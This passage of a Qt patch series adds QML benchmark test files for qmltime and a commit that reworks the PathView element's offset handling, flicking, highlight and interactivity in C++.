Item { + Item { + } + Item { + } + Item { + } + Item { + } + Item { + } + Item { + } + Item { + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/animation/large.qml b/tests/benchmarks/declarative/qmltime/tests/animation/large.qml new file mode 100644 index 0000000..c1cdb68 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/animation/large.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { duration: 500 } + NumberAnimation { duration: 4000; } + NumberAnimation { duration: 2000; easing.type: "OutBack"} + ColorAnimation { duration: 3000} + SequentialAnimation { + PauseAnimation { duration: 1000 } + ScriptAction { script: doSomething(); } + PauseAnimation { duration: 800 } + ScriptAction { script: doSomethingElse(); } + PauseAnimation { duration: 800 } + ParallelAnimation { + NumberAnimation { duration: 200;} + SequentialAnimation { + PauseAnimation { duration: 200} + ParallelAnimation { + NumberAnimation { duration: 300;} + NumberAnimation { duration: 300;} + } + NumberAnimation { from: 0; to: 1; duration: 500 } + PauseAnimation { duration: 200 } + NumberAnimation { from: 1; to: 0; duration: 500 } + } + SequentialAnimation { + PauseAnimation { duration: 150} + NumberAnimation { duration: 300; easing.type: "OutBounce" } + } + } + } + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml b/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml new file mode 100644 index 0000000..3db9f08 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/animation/largeNoProps.qml @@ -0,0 +1,41 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + NumberAnimation { } + ColorAnimation { } + SequentialAnimation { + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ScriptAction { } + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + SequentialAnimation { + PauseAnimation { } + ParallelAnimation { + NumberAnimation { } + NumberAnimation { } + } + NumberAnimation { } + PauseAnimation { } + NumberAnimation { } + } + SequentialAnimation { + PauseAnimation { } + NumberAnimation { } + } + } + } + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml new file mode 100644 index 0000000..996602c --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/children.qml @@ -0,0 +1,34 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + children: [ + Rectangle { }, + Rectangle { }, + Item { }, + Image { }, + Text { }, + Item { }, + Item { }, + Image { }, + Image { }, + Row { }, + Image { }, + Image { }, + Column { }, + Row { }, + Text { }, + Text { }, + Text { }, + MouseArea { } + ] + + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml new file mode 100644 index 0000000..9f79c34 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/data.qml @@ -0,0 +1,34 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + data: [ + Rectangle { }, + Rectangle { }, + Item { }, + Image { }, + Text { }, + Item { }, + Item { }, + Image { }, + Image { }, + Row { }, + Image { }, + Image { }, + Column { }, + Row { }, + Text { }, + Text { }, + Text { }, + MouseArea { } + ] + + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml new file mode 100644 index 0000000..f228c2a --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/no_creation.qml @@ -0,0 +1,12 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + } + } + } +} diff --git a/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml b/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml new file mode 100644 index 0000000..335aeb8 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/item_creation/resources.qml @@ -0,0 +1,34 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + resources: [ + Rectangle { }, + Rectangle { }, + Item { }, + Image { }, + Text { }, + Item { }, + Item { }, + Image { }, + Image { }, + Row { }, + Image { }, + Image { }, + Column { }, + Row { }, + Text { }, + Text { }, + Text { }, + MouseArea { } + ] + + } + } + } + +} diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml b/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml new file mode 100644 index 0000000..6f8d849 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/Loaded.qml @@ -0,0 +1,7 @@ +import Qt 4.6 + +Item { + Rectangle {} + Text {} + Image {} +} diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml new file mode 100644 index 0000000..65d5010 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/component_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loader { + sourceComponent: Loaded {} + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml new file mode 100644 index 0000000..2dfe922 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/empty_loader.qml @@ -0,0 +1,15 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loader {} + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml new file mode 100644 index 0000000..1fa0d3b --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/no_loader.qml @@ -0,0 +1,14 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loaded {} + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml b/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml new file mode 100644 index 0000000..33bb91c --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/loader/source_loader.qml @@ -0,0 +1,16 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + + QmlTime.Timer { + component: Component { + Item { + Loader { + source: "Loaded.qml" + } + } + } + } +} + diff --git a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml new file mode 100644 index 0000000..97bad47 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/no_positioner.qml @@ -0,0 +1,37 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + QmlTime.Timer { + component: Component { + Item { + Rectangle { } + Rectangle { } + Item { + Image { } + Text { } + } + + Item { + Item { + Image { } + Image { } + Item { + Image { } + Image { } + } + } + + Item { + Item { + Text { } + Text { } + } + Text { } + } + } + MouseArea { } + } + } + } +} diff --git a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml new file mode 100644 index 0000000..36dda15 --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/null_positioner.qml @@ -0,0 +1,34 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + QmlTime.Timer { + component: Component { + Item { + Rectangle { } + Rectangle { } + Item { + Image { } + Text { } + } + + Item { + Item { + Image { } + Image { } + Row { } + Image { } + Image { } + } + + Column { } + Row { } + Text { } + Text { } + Text { } + } + MouseArea { } + } + } + } +} diff --git a/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml new file mode 100644 index 0000000..396e27d --- /dev/null +++ b/tests/benchmarks/declarative/qmltime/tests/positioner_creation/positioner.qml @@ -0,0 +1,37 @@ +import Qt 4.6 +import QmlTime 1.0 as QmlTime + +Item { + QmlTime.Timer { + component: Component { + Item { + Rectangle { } + Rectangle { } + Item { + Image { } + Text { } + } + + Item { + Item { + Image { } + Image { } + Row { + Image { } + Image { } + } + } + + Column { + Row { + Text { } + Text { } + } + Text { } + } + } + MouseArea { } + } + } + } +} -- cgit v0.12 From ef9fd657a71375b58be01efb18a16fb04a1b90f5 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Thu, 25 Mar 2010 14:00:35 +1000 Subject: Begin dragging PathView up to the level (quality and functionality) of other views. Task-number: QT-319 --- .../graphicsitems/qdeclarativepathview.cpp | 641 +++++++++++---------- .../graphicsitems/qdeclarativepathview_p.h | 25 +- .../graphicsitems/qdeclarativepathview_p_p.h | 25 +- .../qdeclarativepathview/data/pathview0.qml | 5 + .../qdeclarativepathview/data/pathview3.qml | 2 +- .../tst_qdeclarativepathview.cpp | 22 +- 6 files changed, 411 insertions(+), 309 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp index b9c8971..f3d6137 100644 --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp @@ -138,6 +138,103 @@ void QDeclarativePathViewPrivate::clear() items.clear(); } +void QDeclarativePathViewPrivate::updateMappedRange() +{ + if (model && pathItems != -1 && pathItems < model->count()) + mappedRange = qreal(pathItems)/model->count(); + else + mappedRange = 1.0; +} + +qreal QDeclarativePathViewPrivate::positionOfIndex(int index) const +{ + qreal pos = -1.0; + + if (model && index >= 0 && index < model->count()) { + qreal globalPos = qreal(index) + offset; + globalPos = qmlMod(globalPos, qreal(model->count())) / model->count(); + if (pathItems != -1 && pathItems < model->count()) { + globalPos += snapPos * mappedRange; + globalPos = qmlMod(globalPos, 1.0); + if (globalPos < mappedRange) + pos = globalPos / mappedRange; + } else { + pos = qmlMod(globalPos + snapPos, 1.0); + } + } + + return pos; +} + +void QDeclarativePathViewPrivate::createHighlight() +{ + Q_Q(QDeclarativePathView); + bool changed = false; + if (highlightItem) { + delete highlightItem; + highlightItem = 0; + changed = true; + } + + QDeclarativeItem *item = 0; + if (highlightComponent) { + QDeclarativeContext *highlightContext = new QDeclarativeContext(qmlContext(q)); + QObject *nobj = highlightComponent->create(highlightContext); + if (nobj) { + highlightContext->setParent(nobj); + item = qobject_cast(nobj); + if (!item) + delete nobj; + } else { + delete highlightContext; + } + } else { + item = new QDeclarativeItem; + } + if (item) { + item->setParent(q); + highlightItem = item; + changed = true; + } + if (changed) + emit q->highlightItemChanged(); +} + +void QDeclarativePathViewPrivate::updateHighlight() +{ + Q_Q(QDeclarativePathView); + if (!q->isComponentComplete()) + return; + if (highlightItem) + updateItem(highlightItem, snapPos); +} + +void QDeclarativePathViewPrivate::updateItem(QDeclarativeItem *item, qreal percent) +{ + if (QDeclarativePathViewAttached *att = attached(item)) { + foreach(const QString &attr, path->attributes()) + att->setValue(attr.toUtf8(), path->attributeAt(attr, percent)); + } + QPointF pf = path->pointAt(percent); + item->setX(pf.x() - item->width()*item->scale()/2); + item->setY(pf.y() - item->height()*item->scale()/2); +} + +void QDeclarativePathViewPrivate::regenerate() +{ + Q_Q(QDeclarativePathView); + if (!q->isComponentComplete()) + return; + + clear(); + + if (!isValid()) + return; + + firstIndex = -1; + updateMappedRange(); + q->refill(); +} /*! \qmlclass PathView QDeclarativePathView @@ -232,6 +329,7 @@ void QDeclarativePathView::setModel(const QVariant &model) if (d->model) { disconnect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); disconnect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); + disconnect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); disconnect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); disconnect(d->model, SIGNAL(createdItem(int, QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); for (int i=0; iitems.count(); i++){ @@ -261,13 +359,16 @@ void QDeclarativePathView::setModel(const QVariant &model) if (d->model) { connect(d->model, SIGNAL(itemsInserted(int,int)), this, SLOT(itemsInserted(int,int))); connect(d->model, SIGNAL(itemsRemoved(int,int)), this, SLOT(itemsRemoved(int,int))); + connect(d->model, SIGNAL(itemsMoved(int,int,int)), this, SLOT(itemsMoved(int,int,int))); connect(d->model, SIGNAL(modelReset()), this, SLOT(modelReset())); connect(d->model, SIGNAL(createdItem(int, QDeclarativeItem*)), this, SLOT(createdItem(int,QDeclarativeItem*))); } - d->firstIndex = 0; - d->pathOffset = 0; + d->offset = qmlMod(d->offset, qreal(d->model->count())); + if (d->offset < 0) + d->offset = d->model->count() + d->offset; d->regenerate(); d->fixOffset(); + emit countChanged(); emit modelChanged(); } @@ -330,7 +431,7 @@ void QDeclarativePathView::setCurrentIndex(int idx) if (d->model->count()) { int itemIndex = (d->currentIndex - d->firstIndex + d->model->count()) % d->model->count(); if (itemIndex < d->items.count()) { - if (QDeclarativeItem *item = d->items.at(d->currentIndex)) { + if (QDeclarativeItem *item = d->items.at(itemIndex)) { if (QDeclarativePathViewAttached *att = d->attached(item)) att->setIsCurrentItem(false); } @@ -354,12 +455,13 @@ void QDeclarativePathView::setCurrentIndex(int idx) /*! \qmlproperty real PathView::offset - The offset specifies how far along the path (0.0-1.0) the items are from their initial positions. + The offset specifies how far along the path the items are from their initial positions. + This is a real number that ranges from 0.0 to the count of items in the model. */ qreal QDeclarativePathView::offset() const { Q_D(const QDeclarativePathView); - return d->_offset; + return d->offset; } void QDeclarativePathView::setOffset(qreal offset) @@ -372,18 +474,25 @@ void QDeclarativePathView::setOffset(qreal offset) void QDeclarativePathViewPrivate::setOffset(qreal o) { Q_Q(QDeclarativePathView); - if (_offset != o) { - _offset = qmlMod(o, qreal(1.0)); - if (_offset < 0) - _offset = 1.0 + _offset; - q->refill(); + if (offset != o) { + if (isValid() && q->isComponentComplete()) { + offset = qmlMod(o, qreal(model->count())); + if (offset < 0) + offset = model->count() + offset; + q->refill(); + } else { + offset = o; + } + emit q->offsetChanged(); } } /*! \qmlproperty real PathView::snapPosition - This property determines the position (0.0-1.0) the nearest item will snap to. + This property determines the position on the path (0.0-1.0) the nearest item will snap to. + The item nearest this position will set currentIndex, for example when offset is 0.0 the + first item will be placed at this position and currentIndex will be 0. */ qreal QDeclarativePathView::snapPosition() const { @@ -398,10 +507,34 @@ void QDeclarativePathView::setSnapPosition(qreal pos) if (qFuzzyCompare(normalizedPos, d->snapPos)) return; d->snapPos = normalizedPos; + d->updateHighlight(); d->fixOffset(); emit snapPositionChanged(); } +QDeclarativeComponent *QDeclarativePathView::highlight() const +{ + Q_D(const QDeclarativePathView); + return d->highlightComponent; +} + +void QDeclarativePathView::setHighlight(QDeclarativeComponent *highlight) +{ + Q_D(QDeclarativePathView); + if (highlight != d->highlightComponent) { + d->highlightComponent = highlight; + d->createHighlight(); + d->updateHighlight(); + emit highlightChanged(); + } +} + +QDeclarativeItem *QDeclarativePathView::highlightItem() +{ + Q_D(const QDeclarativePathView); + return d->highlightItem; +} + /*! \qmlproperty real PathView::dragMargin This property holds the maximum distance from the path that initiate mouse dragging. @@ -426,6 +559,52 @@ void QDeclarativePathView::setDragMargin(qreal dragMargin) } /*! + \qmlproperty real PathView::flickDeceleration + This property holds the rate at which a flick will decelerate. + + The default is 100. +*/ +qreal QDeclarativePathView::flickDeceleration() const +{ + Q_D(const QDeclarativePathView); + return d->deceleration; +} + +void QDeclarativePathView::setFlickDeceleration(qreal dec) +{ + Q_D(QDeclarativePathView); + if (d->deceleration == dec) + return; + d->deceleration = dec; + emit flickDecelerationChanged(); +} + +/*! + \qmlproperty bool PathView::interactive + + A user cannot drag or flick a PathView that is not interactive. + + This property is useful for temporarily disabling flicking. This allows + special interaction with PathView's children. +*/ +bool QDeclarativePathView::isInteractive() const +{ + Q_D(const QDeclarativePathView); + return d->interactive; +} + +void QDeclarativePathView::setInteractive(bool interactive) +{ + Q_D(QDeclarativePathView); + if (interactive != d->interactive) { + d->interactive = interactive; + if (!interactive) + d->tl.clear(); + emit interactiveChanged(); + } +} + +/*! \qmlproperty component PathView::delegate The delegate provides a template defining each item instantiated by the view. @@ -467,7 +646,7 @@ void QDeclarativePathView::setDelegate(QDeclarativeComponent *delegate) /*! \qmlproperty int PathView::pathItemCount - This property holds the number of items visible on the path at any one time + This property holds the number of items visible on the path at any one time. */ int QDeclarativePathView::pathItemCount() const { @@ -480,9 +659,13 @@ void QDeclarativePathView::setPathItemCount(int i) Q_D(QDeclarativePathView); if (i == d->pathItems) return; + if (i < 1) + i = 1; d->pathItems = i; - d->regenerate(); - pathItemCountChanged(); + if (d->isValid() && isComponentComplete()) { + d->regenerate(); + } + emit pathItemCountChanged(); } QPointF QDeclarativePathViewPrivate::pointNear(const QPointF &point, qreal *nearPercent) const @@ -512,7 +695,7 @@ QPointF QDeclarativePathViewPrivate::pointNear(const QPointF &point, qreal *near void QDeclarativePathView::mousePressEvent(QGraphicsSceneMouseEvent *event) { Q_D(QDeclarativePathView); - if (!d->items.count()) + if (!d->interactive || !d->items.count()) return; QPointF scenePoint = mapToScene(event->pos()); int idx = 0; @@ -542,7 +725,7 @@ void QDeclarativePathView::mousePressEvent(QGraphicsSceneMouseEvent *event) void QDeclarativePathView::mouseMoveEvent(QGraphicsSceneMouseEvent *event) { Q_D(QDeclarativePathView); - if (d->lastPosTime.isNull()) + if (!d->interactive || d->lastPosTime.isNull()) return; if (!d->stealMouse) { @@ -555,14 +738,14 @@ void QDeclarativePathView::mouseMoveEvent(QGraphicsSceneMouseEvent *event) d->moveReason = QDeclarativePathViewPrivate::Mouse; qreal newPc; d->pointNear(event->pos(), &newPc); - qreal diff = newPc - d->startPc; + qreal diff = (newPc - d->startPc)*d->model->count()*d->mappedRange; if (diff) { - setOffset(d->_offset + diff); + setOffset(d->offset + diff); - if (diff > 0.5) - diff -= 1.0; - else if (diff < -0.5) - diff += 1.0; + if (diff > d->model->count()/2) + diff -= d->model->count(); + else if (diff < -d->model->count()/2) + diff += d->model->count(); d->lastElapsed = QDeclarativeItemPrivate::restart(d->lastPosTime); d->lastDist = diff; @@ -574,27 +757,37 @@ void QDeclarativePathView::mouseMoveEvent(QGraphicsSceneMouseEvent *event) void QDeclarativePathView::mouseReleaseEvent(QGraphicsSceneMouseEvent *) { Q_D(QDeclarativePathView); - if (d->lastPosTime.isNull()) + d->stealMouse = false; + setKeepMouseGrab(false); + if (!d->interactive || d->lastPosTime.isNull()) return; qreal elapsed = qreal(d->lastElapsed + QDeclarativeItemPrivate::elapsed(d->lastPosTime)) / 1000.; qreal velocity = elapsed > 0. ? d->lastDist / elapsed : 0; - if (d->model && d->model->count() && qAbs(velocity) > 0.05) { - if (velocity > 1.5) - velocity = 1.5; - else if (velocity < -1.5) - velocity = -1.5; - qreal inc = qmlMod(d->_offset - d->snapPos, qreal(1.0 / d->model->count())); - qreal dist = qAbs(velocity/2 - qmlMod(velocity/2, qreal(1.0 / d->model->count()) - inc)); - d->moveOffset.setValue(d->_offset); - d->tl.accel(d->moveOffset, velocity, 0.1, dist); + if (d->model && d->model->count() && qAbs(velocity) > 1.) { + qreal count = d->pathItems == -1 ? d->model->count() : d->pathItems; + if (qAbs(velocity) > count * 2) // limit velocity + velocity = (velocity > 0 ? count : -count) * 2; + // Calculate the distance to be travelled + qreal v2 = velocity*velocity; + qreal accel = d->deceleration; + // + 0.25 to encourage moving at least one item in the flick direction + qreal dist = qMin(qreal(d->model->count()-1), d->model->count() * v2 / (accel * 2.0) + 0.25); + // round to nearest item. + if (velocity > 0.) + dist = qRound(dist + d->offset) - d->offset; + else + dist = qRound(dist - d->offset) + d->offset; + // Calculate accel required to stop on item boundary + accel = v2 / (2.0f * qAbs(dist)); + d->moveOffset.setValue(d->offset); + d->tl.accel(d->moveOffset, velocity, accel, dist); d->tl.callback(QDeclarativeTimeLineCallback(&d->moveOffset, d->fixOffsetCallback, d)); } else { d->fixOffset(); } d->lastPosTime = QTime(); - d->stealMouse = false; ungrabMouse(); } @@ -644,7 +837,8 @@ bool QDeclarativePathView::sendMouseEvent(QGraphicsSceneMouseEvent *event) bool QDeclarativePathView::sceneEventFilter(QGraphicsItem *i, QEvent *e) { - if (!isVisible()) + Q_D(QDeclarativePathView); + if (!isVisible() || !d->interactive) return QDeclarativeItem::sceneEventFilter(i, e); switch (e->type()) { @@ -669,72 +863,7 @@ void QDeclarativePathView::componentComplete() Q_D(QDeclarativePathView); QDeclarativeItem::componentComplete(); d->regenerate(); - - // move to correct offset - if (d->items.count()) { - int itemIndex = (d->currentIndex - d->firstIndex + d->model->count()) % d->model->count(); - - itemIndex += d->pathOffset; - itemIndex %= d->items.count(); - qreal targetOffset = qmlMod(1.0 + d->snapPos - qreal(itemIndex) / d->items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset != d->_offset) { - d->moveOffset.setValue(targetOffset); - } - } -} - -void QDeclarativePathViewPrivate::regenerate() -{ - Q_Q(QDeclarativePathView); - if (!q->isComponentComplete()) - return; - - clear(); - - if (!isValid()) - return; - - if (firstIndex >= model->count()) - firstIndex = model->count()-1; - if (pathOffset >= model->count()) - pathOffset = model->count()-1; - - int numItems = pathItems >= 0 ? pathItems : model->count(); - for (int i=0; i < numItems && i < model->count(); ++i){ - int index = (i + firstIndex) % model->count(); - QDeclarativeItem *item = getItem(index); - if (!item) { - qWarning() << "PathView: Cannot create item, index" << (i + firstIndex) % model->count(); - return; - } - items.append(item); - item->setZValue(i); - qreal percent = qreal(i) / numItems + _offset; - percent = qAbs(qmlMod(percent, qreal(1.0))); - updateItem(item, percent); - model->completeItem(); - if (currentIndex == index) { - item->setFocus(true); - if (QDeclarativePathViewAttached *att = attached(item)) - att->setIsCurrentItem(true); - } - } - if (pathItems != -1) - q->refill(); -} - -void QDeclarativePathViewPrivate::updateItem(QDeclarativeItem *item, qreal percent) -{ - if (QDeclarativePathViewAttached *att = attached(item)) { - foreach(const QString &attr, path->attributes()) - att->setValue(attr.toUtf8(), path->attributeAt(attr, percent)); - } - QPointF pf = path->pointAt(percent); - item->setX(pf.x() - item->width()*item->scale()/2); - item->setY(pf.y() - item->height()*item->scale()/2); + d->updateHighlight(); } void QDeclarativePathView::refill() @@ -743,81 +872,85 @@ void QDeclarativePathView::refill() if (!d->isValid() || !isComponentComplete()) return; - QList positions; - for (int i=0; iitems.count(); i++){ - qreal percent = qreal(i) / d->items.count(); - percent = percent + d->_offset; - percent = qmlMod(percent, qreal(1.0)); - positions << qAbs(percent); - } - - if (d->pathItems==-1) { - for (int i=0; iupdateItem(d->items.at(i), positions[i]); - return; +// qDebug() << "offset" << d->_offset; + + // first move existing items and remove items off path + int idx = d->firstIndex; + QList::iterator it = d->items.begin(); + while (it != d->items.end()) { + qreal pos = d->positionOfIndex(idx); + QDeclarativeItem *item = *it; + if (pos >= 0.0) { + d->updateItem(item, pos); + ++it; + } else { +// qDebug() << "release"; + d->updateItem(item, 1.0); + d->releaseItem(item); + if (it == d->items.begin()) { + if (++d->firstIndex >= d->model->count()) + d->firstIndex = 0; + } + it = d->items.erase(it); + } + ++idx; + if (idx >= d->model->count()) + idx = 0; } - QList rotatedPositions; - for (int i=0; iitems.count(); i++) - rotatedPositions << positions[(i + d->pathOffset + d->items.count()) % d->items.count()]; - - int wrapIndex= -1; - for (int i=0; iitems.count()-1; i++) { - if (rotatedPositions[i] > rotatedPositions[i+1]){ - wrapIndex = i; - break; + // add items to beginning and end + int count = d->pathItems == -1 ? d->model->count() : qMin(d->pathItems, d->model->count()); + if (d->items.count() < count) { + int idx = qRound(d->model->count() - d->offset) % d->model->count(); + qreal startPos = d->snapPos; + if (d->firstIndex >= 0) { + startPos = d->positionOfIndex(d->firstIndex); + idx = (d->firstIndex + d->items.count()) % d->model->count(); } - } - if (wrapIndex != -1 ){ - //A wraparound has occured - if (wrapIndex < d->items.count()/2){ - while(wrapIndex-- >= 0){ - QDeclarativeItem* p = d->items.takeFirst(); - d->updateItem(p, 0.0); - d->releaseItem(p); - d->firstIndex++; - d->firstIndex %= d->model->count(); - int index = (d->firstIndex + d->items.count())%d->model->count(); - QDeclarativeItem *item = d->getItem(index); - item->setZValue(wrapIndex); - d->model->completeItem(); - if (d->currentIndex == index) { - item->setFocus(true); - if (QDeclarativePathViewAttached *att = d->attached(item)) - att->setIsCurrentItem(true); - } - d->items << item; - d->pathOffset++; - d->pathOffset=d->pathOffset % d->items.count(); + qreal pos = d->positionOfIndex(idx); + while ((pos > startPos || !d->items.count()) && d->items.count() < count) { +// qDebug() << "append" << idx; + QDeclarativeItem *item = d->getItem(idx); + item->setZValue(idx+1); + d->model->completeItem(); + if (d->currentIndex == idx) { + item->setFocus(true); + if (QDeclarativePathViewAttached *att = d->attached(item)) + att->setIsCurrentItem(true); } - } else { - while(wrapIndex++ < d->items.count()-1){ - QDeclarativeItem* p = d->items.takeLast(); - d->updateItem(p, 1.0); - d->releaseItem(p); - d->firstIndex--; - if (d->firstIndex < 0) - d->firstIndex = d->model->count() - 1; - QDeclarativeItem *item = d->getItem(d->firstIndex); - item->setZValue(d->firstIndex); - d->model->completeItem(); - if (d->currentIndex == d->firstIndex) { - item->setFocus(true); - if (QDeclarativePathViewAttached *att = d->attached(item)) - att->setIsCurrentItem(true); - } - d->items.prepend(item); - d->pathOffset--; - if (d->pathOffset < 0) - d->pathOffset = d->items.count() - 1; + if (d->items.count() == 0) + d->firstIndex = idx; + d->items.append(item); + d->updateItem(item, pos); + ++idx; + if (idx >= d->model->count()) + idx = 0; + pos = d->positionOfIndex(idx); + } + + idx = d->firstIndex - 1; + if (idx < 0) + idx = d->model->count() - 1; + pos = d->positionOfIndex(idx); + while (pos >= 0.0 && pos < startPos) { +// qDebug() << "prepend" << idx; + QDeclarativeItem *item = d->getItem(idx); + item->setZValue(idx+1); + d->model->completeItem(); + if (d->currentIndex == idx) { + item->setFocus(true); + if (QDeclarativePathViewAttached *att = d->attached(item)) + att->setIsCurrentItem(true); } + d->items.prepend(item); + d->updateItem(item, pos); + d->firstIndex = idx; + idx = d->firstIndex - 1; + if (idx < 0) + idx = d->model->count() - 1; + pos = d->positionOfIndex(idx); } - for (int i=0; iitems.count(); i++) - rotatedPositions[i] = positions[(i + d->pathOffset + d->items.count()) - % d->items.count()]; } - for (int i=0; iitems.count(); i++) - d->updateItem(d->items.at(i), rotatedPositions[i]); } void QDeclarativePathView::itemsInserted(int modelIndex, int count) @@ -826,29 +959,14 @@ void QDeclarativePathView::itemsInserted(int modelIndex, int count) Q_D(QDeclarativePathView); if (!d->isValid() || !isComponentComplete()) return; - if (d->pathItems == -1) { - for (int i = 0; i < count; ++i) { - QDeclarativeItem *item = d->getItem(modelIndex + i); - item->setZValue(modelIndex + i); - d->model->completeItem(); - d->items.insert(modelIndex + i, item); - } - refill(); - } else { - //XXX This is pretty heavy handed until we reference count items. - d->regenerate(); - } - // make sure the current item is still at the snap position - int itemIndex = (d->currentIndex - d->firstIndex + d->model->count())%d->model->count(); - itemIndex += d->pathOffset; - itemIndex %= d->items.count(); - qreal targetOffset = qmlMod(1.0 + d->snapPos - qreal(itemIndex) / d->items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset != d->_offset) - d->moveOffset.setValue(targetOffset); + QList removedItems = d->items; + d->items.clear(); + d->regenerate(); + while (removedItems.count()) + d->releaseItem(removedItems.takeLast()); + d->updateCurrent(); + emit countChanged(); } void QDeclarativePathView::itemsRemoved(int modelIndex, int count) @@ -857,41 +975,37 @@ void QDeclarativePathView::itemsRemoved(int modelIndex, int count) Q_D(QDeclarativePathView); if (!d->isValid() || !isComponentComplete()) return; - if (d->pathItems == -1) { - for (int i = 0; i < count && d->items.count() > modelIndex; ++i) { - QDeclarativeItem* p = d->items.takeAt(modelIndex); - d->model->release(p); - } - d->snapToCurrent(); - refill(); - } else { - d->regenerate(); - } - if (d->model->count() == 0) { - d->currentIndex = -1; - d->moveOffset.setValue(0); + QList removedItems = d->items; + d->items.clear(); + if (d->offset >= d->model->count()) + d->offset = d->model->count() - 1; + d->regenerate(); + while (removedItems.count()) + d->releaseItem(removedItems.takeLast()); + d->updateCurrent(); + emit countChanged(); +} + +void QDeclarativePathView::itemsMoved(int from, int to, int count) +{ + Q_D(QDeclarativePathView); + if (!d->isValid() || !isComponentComplete()) return; - } - // make sure the current item is still at the snap position - if (d->currentIndex >= d->model->count()) - d->currentIndex = d->model->count() - 1; - int itemIndex = (d->currentIndex - d->firstIndex + d->model->count())%d->model->count(); - itemIndex += d->pathOffset; - itemIndex %= d->items.count(); - qreal targetOffset = qmlMod(1.0 + d->snapPos - qreal(itemIndex) / d->items.count(), qreal(1.0)); - - if (targetOffset < 0) - targetOffset = 1.0 + targetOffset; - if (targetOffset != d->_offset) - d->moveOffset.setValue(targetOffset); + QList removedItems = d->items; + d->items.clear(); + d->regenerate(); + while (removedItems.count()) + d->releaseItem(removedItems.takeLast()); + d->updateCurrent(); } void QDeclarativePathView::modelReset() { Q_D(QDeclarativePathView); d->regenerate(); + emit countChanged(); } void 